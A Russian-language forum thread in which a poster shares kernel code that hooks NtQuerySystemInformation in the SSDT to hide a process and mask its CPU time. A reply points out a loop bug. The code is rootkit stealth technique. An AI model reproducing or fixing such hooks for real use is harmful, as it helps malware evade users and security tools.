Мое почтение всем. Перехватываю NtQuerySystemInformation в SSDT в целях сокрытия процесса. С самим перехватом все Ок. Затем прохожу по списку процессов в поисках процесса, который надо выкинуть из списка. Беда в том, что я не всегда вижу все процессы в этом списке. Т.е., например, запущенный taskmgr.exe в списке отсутствует. Как такое может быть? Скорее всего ошибка где-то у меня, но в чем проблема -- не понимаю. VM, XP32 SP2, 2 cores. Моя NtQuerySystemInformation выглядит так: Код (Text): NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { KIRQL PrevIrql; WCHAR ProcName[PROCESS_NAME_LEN]; UNICODE_STRING usProcName; NTSTATUS status; NTSTATUS (*FuncPtr)(ULONG, PVOID, ULONG, PULONG); FuncPtr = (NTSTATUS (*)(ULONG, PVOID, ULONG, PULONG))OldZwQuerySystemInformation; status = FuncPtr(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status)) { if (SystemInformationClass == SystemProcessorPerfomanceInformation) { PSYSTEM_PROCESSOR_PERFOMANCE_INFO pPerfInfo; pPerfInfo = (PSYSTEM_PROCESSOR_PERFOMANCE_INFO)SystemInformation; pPerfInfo ->IdleTime.QuadPart += UserTime.QuadPart; pPerfInfo ->IdleTime.QuadPart += KernelTime.QuadPart; } if (SystemInformationClass == SystemProcessInformation) { PSYSTEM_PROCESS_INFORMATION pCurrProcInfo, pPrevProcInfo; pPrevProcInfo = NULL; pCurrProcInfo = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; KeAcquireSpinLock(&lock, &PrevIrql); memcpy(ProcName, ProcessName, PROCESS_NAME_LEN * sizeof(ProcName[0])); KeReleaseSpinLock(&lock, PrevIrql); RtlInitUnicodeString(&usProcName, ProcName); do { DBG_PRINT2("[proc:] %S\n", pCurrProcInfo ->ProcessName.Buffer); if (pCurrProcInfo ->ProcessName.Buffer == NULL) { pCurrProcInfo ->KernelTime.QuadPart += KernelTime.QuadPart; KernelTime.QuadPart = 0; } else { if (RtlCompareUnicodeString(&pCurrProcInfo ->ProcessName, &usProcName, 1) == 0) { if (pPrevProcInfo) { if (pCurrProcInfo ->NextEntryOffset == 0) { pPrevProcInfo ->NextEntryOffset = 0; } else { pPrevProcInfo ->NextEntryOffset += pCurrProcInfo ->NextEntryOffset; } } KernelTime.QuadPart = pCurrProcInfo ->KernelTime.QuadPart; } } pPrevProcInfo = pCurrProcInfo; (PUCHAR)pCurrProcInfo += pCurrProcInfo ->NextEntryOffset; } while(pCurrProcInfo ->NextEntryOffset); } } return status; } Заранее благодарен за ответ.
Если в списке больше одного элемента, то последний никогда не будет обрабатываться. Условие (pCurrProcInfo->NextEntryOffset) означает что нет следующего элемента. Учитесь писать циклы. Уберите этот топик из этого раздела (в LANG.C или а еще лучше BEGINNERS)!
0x6b65 а по Вашему в кернел все профи? изучите раздел ещё раз, это далеко не так ) пригодится, лучше чем нагружать мискл, оплачиваемый энтузиазмом создателя
Акелла промахнулся. Дома проверю, там у меня еще один вопрос был, но есть вероятность, что он отпадет. Если тема так уж неприятна, можно удалить чуть позже.